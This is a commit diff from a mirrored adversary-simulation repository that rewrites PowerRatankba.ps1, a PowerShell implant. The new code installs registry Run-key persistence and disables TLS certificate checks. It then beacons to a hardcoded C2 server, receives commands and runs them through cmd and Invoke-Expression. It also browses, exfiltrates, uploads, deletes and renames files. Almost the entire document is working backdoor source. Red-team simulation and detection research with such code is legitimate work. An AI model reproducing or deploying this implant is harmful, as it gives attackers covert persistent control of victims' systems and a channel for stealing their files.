mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Modify persistence and server interaction in PowerRatankba.ps1
Refactor persistence mechanism and update server communication.
This commit is contained in:
@@ -14,54 +14,590 @@ public class TrustAllCertsPolicy : ICertificatePolicy {
|
||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
|
||||
# Persistence via Registry (Run Key)
|
||||
|
||||
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
$regName = "Payload"
|
||||
$regValue = "powershell -ExecutionPolicy Bypass -File $PSCommandPath"
|
||||
Set-ItemProperty -Path $regPath -Name $regName -Value $regValue
|
||||
|
||||
$server = "https://192.168.1.14:1111"
|
||||
|
||||
# Checkin
|
||||
$checkin_data = @{ } | ConvertTo-Json
|
||||
$regName = "HTTPSClient"
|
||||
$regValue = "powershell -ExecutionPolicy Bypass -File `"$PSCommandPath`""
|
||||
try {
|
||||
Write-Host "[*] Sending checkin..."
|
||||
$response = Invoke-RestMethod -Uri "$server/checkin" -Method POST -Body $checkin_data -ContentType "application/json"
|
||||
$session_id = $response.session_id
|
||||
Write-Host "[+] Checkin successful: $session_id"
|
||||
Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -ErrorAction Stop
|
||||
Write-Host "[+] Persistence added to Registry: $regPath\$regName"
|
||||
} catch {
|
||||
Write-Host "[-] Checkin failed: $_"
|
||||
exit
|
||||
Write-Host "[-] Failed to add persistence: $_"
|
||||
}
|
||||
|
||||
# Loop to get commands
|
||||
while ($true) {
|
||||
Start-Sleep -Seconds 3
|
||||
try {
|
||||
$cmd_resp = Invoke-RestMethod -Uri "$server/get_command?session_id=$session_id" -Method GET
|
||||
$cmd = $cmd_resp.command
|
||||
if ($cmd) {
|
||||
if ($cmd -match "`r`n|\n") {
|
||||
# Multiple lines -> write to temp .bat file
|
||||
$tempFile = [System.IO.Path]::GetTempFileName().Replace(".tmp", ".bat")
|
||||
[System.IO.File]::WriteAllText($tempFile, $cmd)
|
||||
$SERVER_IP = "192.168.233.230"
|
||||
$SERVER_PORT = 1111
|
||||
$SERVER_BASE = "https://${SERVER_IP}:${SERVER_PORT}"
|
||||
$AUTH_ID = "254fa37e-5681-4da9-8d36-305854cc8b08"
|
||||
$DEFAULT_USER_AGENT = "Mozilla/5.0"
|
||||
|
||||
$output = cmd.exe /c $tempFile 2>&1 | Out-String
|
||||
|
||||
Remove-Item $tempFile -Force -ErrorAction SilentlyContinue
|
||||
} else {
|
||||
# Single-line command
|
||||
$output = cmd.exe /c $cmd 2>&1 | Out-String
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls
|
||||
|
||||
|
||||
$script:SessionId = $null
|
||||
$script:URIs = @("/support/troubleshoot")
|
||||
$script:CurrentUserAgent = $DEFAULT_USER_AGENT
|
||||
$script:SleepTime = 0.0
|
||||
$script:StartJitter = 0
|
||||
$script:EndJitter = 0
|
||||
$script:PREPEND_OUTPUT = ""
|
||||
$script:APPEND_OUTPUT = ""
|
||||
$script:GET_CLIENT_HEADERS = @{}
|
||||
$script:POST_CLIENT_HEADERS = @{}
|
||||
|
||||
function Get-URL {
|
||||
return $SERVER_BASE + ($script:URIs | Get-Random)
|
||||
}
|
||||
|
||||
function Get-RequestHeaders {
|
||||
param([bool]$IsPost = $true)
|
||||
|
||||
$headers = @{
|
||||
"User-Agent" = $script:CurrentUserAgent
|
||||
}
|
||||
|
||||
if ($IsPost) {
|
||||
$headers["Content-Type"] = "application/json"
|
||||
foreach ($key in $script:POST_CLIENT_HEADERS.Keys) {
|
||||
if ($script:POST_CLIENT_HEADERS[$key] -and $script:POST_CLIENT_HEADERS[$key].Trim()) {
|
||||
$headers[$key] = $script:POST_CLIENT_HEADERS[$key]
|
||||
}
|
||||
}
|
||||
} else {
|
||||
foreach ($key in $script:GET_CLIENT_HEADERS.Keys) {
|
||||
if ($script:GET_CLIENT_HEADERS[$key] -and $script:GET_CLIENT_HEADERS[$key].Trim()) {
|
||||
$headers[$key] = $script:GET_CLIENT_HEADERS[$key]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$cleanHeaders = @{}
|
||||
foreach ($key in $headers.Keys) {
|
||||
if ($headers[$key] -and $headers[$key].Trim()) {
|
||||
$cleanHeaders[$key] = $headers[$key]
|
||||
}
|
||||
}
|
||||
|
||||
return $cleanHeaders
|
||||
}
|
||||
|
||||
$send_data = @{
|
||||
session_id = $session_id
|
||||
output = $output
|
||||
} | ConvertTo-Json -Depth 3
|
||||
|
||||
Invoke-RestMethod -Uri "$server/send_output" -Method POST -Body $send_data -ContentType "application/json"
|
||||
function Invoke-Checkin {
|
||||
$payload = @{
|
||||
action = "checkin"
|
||||
token = $AUTH_ID
|
||||
} | ConvertTo-Json
|
||||
|
||||
try {
|
||||
$headers = Get-RequestHeaders -IsPost $true
|
||||
$url = Get-URL
|
||||
|
||||
$response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing
|
||||
|
||||
if ($response.StatusCode -eq 200) {
|
||||
$responseData = $response.Content | ConvertFrom-Json
|
||||
|
||||
if ($responseData) {
|
||||
$script:SessionId = $responseData.sid
|
||||
|
||||
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||
return $false
|
||||
}
|
||||
|
||||
if ($responseData.ua) { $script:CurrentUserAgent = $responseData.ua }
|
||||
if ($responseData.sj) { $script:StartJitter = [int]$responseData.sj }
|
||||
if ($responseData.ej) { $script:EndJitter = [int]$responseData.ej }
|
||||
if ($responseData.sl) { $script:SleepTime = [double]$responseData.sl }
|
||||
if ($responseData.ur) { $script:URIs = @($responseData.ur) }
|
||||
if ($responseData.pre) { $script:PREPEND_OUTPUT = $responseData.pre }
|
||||
if ($responseData.app) { $script:APPEND_OUTPUT = $responseData.app }
|
||||
|
||||
return $true
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
Write-Host "[-] Error: $_"
|
||||
|
||||
}
|
||||
|
||||
return $false
|
||||
}
|
||||
|
||||
function Apply-Jitter {
|
||||
if ($script:SleepTime -eq 0) {
|
||||
return
|
||||
}
|
||||
|
||||
if ($script:StartJitter -eq 0 -and $script:EndJitter -eq 0) {
|
||||
$finalSleep = [Math]::Max(0, [Math]::Min(900, $script:SleepTime))
|
||||
if ($finalSleep -gt 0) {
|
||||
Start-Sleep -Seconds $finalSleep
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if ($script:StartJitter -gt $script:EndJitter) {
|
||||
$temp = $script:StartJitter
|
||||
$script:StartJitter = $script:EndJitter
|
||||
$script:EndJitter = $temp
|
||||
}
|
||||
|
||||
if ($script:StartJitter -eq $script:EndJitter) {
|
||||
$script:StartJitter = [Math]::Max(0, $script:StartJitter - 1)
|
||||
}
|
||||
|
||||
try {
|
||||
$jitterAmount = Get-Random -Minimum $script:StartJitter -Maximum $script:EndJitter
|
||||
$finalSleep = $script:SleepTime + $jitterAmount
|
||||
$finalSleep = [Math]::Max(0, [Math]::Min(900, $finalSleep))
|
||||
|
||||
if ($finalSleep -gt 0) {
|
||||
Start-Sleep -Seconds $finalSleep
|
||||
}
|
||||
} catch {
|
||||
if ($script:SleepTime -gt 0) {
|
||||
Start-Sleep -Seconds $script:SleepTime
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Execute-CMDCommand {
|
||||
param([string]$Command)
|
||||
|
||||
try {
|
||||
if ($Command -match "&") {
|
||||
$parts = $Command -split "(?<![&])&(?!&)"
|
||||
$allOutput = ""
|
||||
|
||||
foreach ($part in $parts) {
|
||||
$part = $part.Trim()
|
||||
if ($part) {
|
||||
try {
|
||||
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||
$allOutput += $result
|
||||
} catch {
|
||||
$allOutput += "[-] Error: $_`n"
|
||||
}
|
||||
}
|
||||
}
|
||||
return $allOutput
|
||||
}
|
||||
|
||||
if ($Command -match "\|\|") {
|
||||
$parts = $Command -split "\|\|"
|
||||
$lastError = $null
|
||||
|
||||
foreach ($part in $parts) {
|
||||
$part = $part.Trim()
|
||||
if ($part) {
|
||||
try {
|
||||
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||
if ($result.Trim()) {
|
||||
return $result
|
||||
}
|
||||
return "[+] Command executed (no output)`n"
|
||||
} catch {
|
||||
$lastError = $_
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
return "[-] All OR commands failed: $lastError`n"
|
||||
}
|
||||
|
||||
if ($Command -match "&&") {
|
||||
$parts = $Command -split "&&"
|
||||
$allOutput = ""
|
||||
|
||||
foreach ($part in $parts) {
|
||||
$part = $part.Trim()
|
||||
if ($part) {
|
||||
try {
|
||||
$result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String
|
||||
$allOutput += $result
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
$allOutput += "[-] Command failed, stopping AND chain`n"
|
||||
return $allOutput
|
||||
}
|
||||
} catch {
|
||||
$allOutput += "[-] Error in AND chain: $_`n"
|
||||
return $allOutput
|
||||
}
|
||||
}
|
||||
}
|
||||
return $allOutput
|
||||
}
|
||||
|
||||
$result = Invoke-Expression "cmd /c $Command" 2>&1 | Out-String
|
||||
if ([string]::IsNullOrEmpty($result.Trim())) {
|
||||
return "[+] Command executed (no output)`n"
|
||||
}
|
||||
return $result
|
||||
} catch {
|
||||
return "[-] CMD error: $_`n"
|
||||
}
|
||||
}
|
||||
|
||||
function Execute-PowerShellCommand {
|
||||
param([string]$Command)
|
||||
|
||||
try {
|
||||
$result = Invoke-Expression $Command 2>&1 | Out-String
|
||||
if ([string]::IsNullOrEmpty($result.Trim())) {
|
||||
return "[+] PowerShell command executed (no output)`n"
|
||||
}
|
||||
return $result
|
||||
} catch {
|
||||
return "[-] PowerShell error: $_`n"
|
||||
}
|
||||
}
|
||||
|
||||
function Browse-Directory {
|
||||
param([string]$Path)
|
||||
|
||||
try {
|
||||
if ($Path.StartsWith("~")) {
|
||||
$Path = $Path.Replace("~", $env:USERPROFILE)
|
||||
}
|
||||
|
||||
if (!(Test-Path $Path)) {
|
||||
return @{
|
||||
success = $false
|
||||
error = "Path does not exist: $Path"
|
||||
current_path = $Path
|
||||
parent_path = $null
|
||||
items = @()
|
||||
} | ConvertTo-Json -Compress
|
||||
}
|
||||
|
||||
$items = @()
|
||||
try {
|
||||
$entries = Get-ChildItem -Path $Path -Force -ErrorAction Stop
|
||||
} catch {
|
||||
return @{
|
||||
success = $false
|
||||
error = "Permission denied to access $Path"
|
||||
current_path = $Path
|
||||
parent_path = $null
|
||||
items = @()
|
||||
} | ConvertTo-Json -Compress
|
||||
}
|
||||
|
||||
foreach ($item in $entries) {
|
||||
try {
|
||||
$isDir = $item.PSIsContainer
|
||||
$modifiedTime = $item.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss")
|
||||
$sizeBytes = if ($isDir) { 0 } else { $item.Length }
|
||||
|
||||
$items += @{
|
||||
name = $item.Name
|
||||
type = if ($isDir) { "directory" } else { "file" }
|
||||
size = $sizeBytes
|
||||
modified_time = $modifiedTime
|
||||
}
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
$items = $items | Sort-Object @{Expression={$_.type -ne "directory"}}, name
|
||||
|
||||
$parentPath = Split-Path $Path -Parent
|
||||
if ($Path -match "^[A-Za-z]:\\$" -or $Path -eq "/") {
|
||||
$parentPath = $null
|
||||
} elseif ($parentPath -eq $Path) {
|
||||
$parentPath = $null
|
||||
}
|
||||
|
||||
$result = @{
|
||||
success = $true
|
||||
current_path = $Path
|
||||
parent_path = $parentPath
|
||||
items = $items
|
||||
}
|
||||
|
||||
return $result | ConvertTo-Json -Compress
|
||||
} catch {
|
||||
return @{
|
||||
success = $false
|
||||
error = $_.Exception.Message
|
||||
current_path = $Path
|
||||
parent_path = $null
|
||||
items = @()
|
||||
} | ConvertTo-Json -Compress
|
||||
}
|
||||
}
|
||||
|
||||
function Download-File {
|
||||
param([string]$FilePath)
|
||||
|
||||
try {
|
||||
if (!(Test-Path $FilePath)) {
|
||||
return "ERROR: File not found: $FilePath"
|
||||
}
|
||||
|
||||
$fileInfo = Get-Item $FilePath
|
||||
$filename = $fileInfo.Name
|
||||
$filesize = $fileInfo.Length
|
||||
|
||||
$fileData = [System.IO.File]::ReadAllBytes($FilePath)
|
||||
$fileDataB64 = [Convert]::ToBase64String($fileData)
|
||||
|
||||
return "file-data:${filename}|${filesize}|${fileDataB64}"
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
function Upload-File {
|
||||
param([string]$FilePath, [string]$FileDataB64)
|
||||
|
||||
try {
|
||||
$fileData = [Convert]::FromBase64String($FileDataB64)
|
||||
$directory = Split-Path $FilePath -Parent
|
||||
|
||||
if ($directory -and !(Test-Path $directory)) {
|
||||
New-Item -Path $directory -ItemType Directory -Force | Out-Null
|
||||
}
|
||||
|
||||
[System.IO.File]::WriteAllBytes($FilePath, $fileData)
|
||||
return "SUCCESS: File uploaded to $FilePath"
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
function Delete-File {
|
||||
param([string]$FilePath)
|
||||
|
||||
try {
|
||||
if (Test-Path $FilePath) {
|
||||
Remove-Item -Path $FilePath -Force -Recurse -ErrorAction Stop
|
||||
return "SUCCESS: Deleted $FilePath"
|
||||
} else {
|
||||
return "ERROR: Path not found: $FilePath"
|
||||
}
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
function Rename-File {
|
||||
param([string]$OldPath, [string]$NewPath)
|
||||
|
||||
try {
|
||||
if (Test-Path $OldPath) {
|
||||
Rename-Item -Path $OldPath -NewName $NewPath -ErrorAction Stop
|
||||
return "SUCCESS: Renamed to $NewPath"
|
||||
} else {
|
||||
return "ERROR: Path not found: $OldPath"
|
||||
}
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
|
||||
function Execute-Command {
|
||||
param([string]$Command)
|
||||
|
||||
if ([string]::IsNullOrEmpty($Command)) {
|
||||
return "[no command]"
|
||||
}
|
||||
|
||||
if ($Command.ToLower() -eq "ping") {
|
||||
return "pong`n"
|
||||
}
|
||||
|
||||
if ($Command -match "^browse:") {
|
||||
$browsePath = $Command.Substring(7).Trim()
|
||||
if ([string]::IsNullOrEmpty($browsePath)) {
|
||||
$browsePath = (Get-Location).Path
|
||||
}
|
||||
|
||||
try {
|
||||
$items = @()
|
||||
if (Test-Path $browsePath) {
|
||||
Get-ChildItem $browsePath -Force | ForEach-Object {
|
||||
$items += @{
|
||||
name = $_.Name
|
||||
type = if ($_.PSIsContainer) { "directory" } else { "file" }
|
||||
size = if ($_.PSIsContainer) { 0 } else { $_.Length }
|
||||
modified_time = $_.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss')
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$result = @{
|
||||
success = $true
|
||||
current_path = $browsePath
|
||||
parent_path = (Split-Path $browsePath -Parent)
|
||||
items = ($items | Sort-Object { $_.type -ne 'directory' }, { $_.name.ToLower() })
|
||||
}
|
||||
} catch {
|
||||
$result = @{
|
||||
success = $false
|
||||
error = "$($_.Exception.Message)"
|
||||
current_path = $browsePath
|
||||
parent_path = $null
|
||||
items = @()
|
||||
}
|
||||
}
|
||||
|
||||
$jsonData = $result | ConvertTo-Json -Compress
|
||||
$base64Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($jsonData))
|
||||
return "browse-data-${base64Data}`n"
|
||||
}
|
||||
|
||||
if ($Command -match "^download-file:") {
|
||||
$filepath = $Command.Substring(14).Trim()
|
||||
if (Test-Path $filepath) {
|
||||
$fileData = [IO.File]::ReadAllBytes($filepath)
|
||||
$filename = [IO.Path]::GetFileName($filepath)
|
||||
$fileDataB64 = [Convert]::ToBase64String($fileData)
|
||||
return "file-data:${filename}|$($fileData.Length)|${fileDataB64}`n"
|
||||
}
|
||||
return "ERROR: File not found: $filepath`n"
|
||||
}
|
||||
|
||||
if ($Command -match "^upload-file:") {
|
||||
$parts = $Command.Substring(12).Split('|', 2)
|
||||
if ($parts.Count -eq 2) {
|
||||
$filepath = $parts[0]
|
||||
$filedataB64 = $parts[1]
|
||||
|
||||
try {
|
||||
$fileData = [Convert]::FromBase64String($filedataB64)
|
||||
$directory = [IO.Path]::GetDirectoryName($filepath)
|
||||
if ($directory -and !(Test-Path $directory)) {
|
||||
New-Item -ItemType Directory -Path $directory -Force | Out-Null
|
||||
}
|
||||
[IO.File]::WriteAllBytes($filepath, $fileData)
|
||||
return "SUCCESS: File uploaded to $filepath`n"
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)`n"
|
||||
}
|
||||
}
|
||||
return "ERROR: Invalid upload format`n"
|
||||
}
|
||||
|
||||
if ($Command -match "^delete-file:") {
|
||||
$filepath = $Command.Substring(12).Trim()
|
||||
if (Test-Path $filepath) {
|
||||
Remove-Item $filepath -Force -Recurse
|
||||
return "SUCCESS: Deleted $filepath`n"
|
||||
}
|
||||
return "ERROR: File not found`n"
|
||||
}
|
||||
|
||||
if ($Command -match "^rename-file:") {
|
||||
$parts = $Command.Substring(12).Split('|', 2)
|
||||
if ($parts.Count -eq 2) {
|
||||
$oldPath = $parts[0]
|
||||
$newPath = $parts[1]
|
||||
try {
|
||||
Rename-Item $oldPath $newPath -Force
|
||||
return "SUCCESS: Renamed to $newPath`n"
|
||||
} catch {
|
||||
return "ERROR: $($_.Exception.Message)`n"
|
||||
}
|
||||
}
|
||||
return "ERROR: Invalid rename format`n"
|
||||
}
|
||||
|
||||
$upper = $Command.ToUpper()
|
||||
if ($upper -match "^EP ") {
|
||||
$psCommand = $Command.Substring(3).Trim()
|
||||
return Execute-PowerShellCommand -Command $psCommand
|
||||
}
|
||||
|
||||
if ($upper -match "^EP") {
|
||||
$psCommand = $Command.Substring(2).Trim()
|
||||
return Execute-PowerShellCommand -Command $psCommand
|
||||
}
|
||||
|
||||
return Execute-CMDCommand -Command $Command
|
||||
}
|
||||
|
||||
function Get-Tasks {
|
||||
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||
return $null
|
||||
}
|
||||
|
||||
$payload = @{
|
||||
action = "get_tasks"
|
||||
sid = $script:SessionId
|
||||
} | ConvertTo-Json
|
||||
|
||||
try {
|
||||
$headers = Get-RequestHeaders -IsPost $true
|
||||
$url = Get-URL
|
||||
|
||||
$response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing
|
||||
|
||||
if ($response.StatusCode -eq 200) {
|
||||
$data = $response.Content | ConvertFrom-Json
|
||||
if ($data -and $data.command) {
|
||||
return $data.command.Trim()
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
|
||||
}
|
||||
|
||||
return $null
|
||||
}
|
||||
|
||||
function Submit-Output {
|
||||
param([string]$Output)
|
||||
|
||||
if ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||
return
|
||||
}
|
||||
|
||||
$encrypted = $Output
|
||||
$finalOutput = $script:PREPEND_OUTPUT + $encrypted + $script:APPEND_OUTPUT
|
||||
|
||||
if ([string]::IsNullOrEmpty($finalOutput)) {
|
||||
$finalOutput = "[no output]"
|
||||
}
|
||||
|
||||
$payload = @{
|
||||
action = "submit"
|
||||
sid = $script:SessionId
|
||||
out = $finalOutput
|
||||
} | ConvertTo-Json
|
||||
|
||||
try {
|
||||
$headers = Get-RequestHeaders -IsPost $true
|
||||
$url = Get-URL
|
||||
|
||||
Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing | Out-Null
|
||||
} catch {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
function Main-Loop {
|
||||
while ([string]::IsNullOrEmpty($script:SessionId)) {
|
||||
if (Invoke-Checkin) {
|
||||
break
|
||||
}
|
||||
Start-Sleep -Seconds (Get-Random -Minimum 20 -Maximum 60)
|
||||
}
|
||||
|
||||
while ($true) {
|
||||
try {
|
||||
$command = Get-Tasks
|
||||
if ($command -and $command.Trim()) {
|
||||
$result = Execute-Command -Command $command
|
||||
Submit-Output -Output $result
|
||||
}
|
||||
Apply-Jitter
|
||||
} catch {
|
||||
Start-Sleep -Seconds (Get-Random -Minimum 30 -Maximum 120)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Main-Loop
|
||||
|
||||
Reference in New Issue
Block a user